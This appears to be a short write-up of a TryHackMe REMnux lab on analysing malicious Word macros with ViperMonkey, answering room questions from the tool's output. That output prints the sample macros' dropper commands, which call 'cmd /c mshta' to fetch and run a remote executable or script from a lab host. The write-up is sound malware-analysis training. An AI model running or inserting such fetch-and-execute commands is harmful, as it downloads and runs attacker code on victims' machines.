THM Room: REMnux |
Analysing malicious Microsoft Office macros
Malware infection via malicious macros (or scripts within Microsoft Office products such as Word and Excel) are some of the most successful attacks to date.
For example, current APT campaigns such as Emotet, QuickBot infect users by sending seemingly legitimate documents attached to emails i.e. an invoice for business. However, once opened, execute malicious code without the user knowing. This malicious code is often used in what’s known as a “dropper attack”, where additional malicious programs are downloaded onto the host.
To analyze macros we can use ViperMonkey, a parser engine that is capable of analysing visual basic macros without executing.
Questions
What is the name of the Macro for DefinitelyALegitInvoice.doc
Recorded Actions:
+----------------------+---------------------------+----------------+
| Action | Parameters | Description |
+----------------------+---------------------------+----------------+
| Found Heuristic | DefoLegit | |
| Entry Point | | |
| Execute Command | cmd /c mshta http://10.0. | Shell function |
| | 0.10:4444/MyDropper.exe | |
| Found Heuristic | DefoLegit | |
| Entry Point | | |
| Execute Command | cmd /c mshta http://10.0. | Shell function |
| | 0.10:4444/MyDropper.exe | |
+----------------------+---------------------------+----------------+INFO Found 7 possible IOCs. Stripping duplicates...
VBA Builtins Called: ['Shell']Finished analyzing DefinitelyALegitInvoice.doc .
What is the URL the Macro in Taxes2020.doc
would try to launch?
Recorded Actions:
+----------------------+---------------------------+----------------+
| Action | Parameters | Description |
+----------------------+---------------------------+----------------+
| Found Heuristic | X544FE | |
| Entry Point | | |
| Execute Command | cmd /c mshta http://tryha | Shell function |
| | ckme.com/notac2cserver.sh | |
| Found Heuristic | X544FE | |
| Entry Point | | |
| Execute Command | cmd /c mshta http://tryha | Shell function |
| | ckme.com/notac2cserver.sh | |
+----------------------+---------------------------+----------------+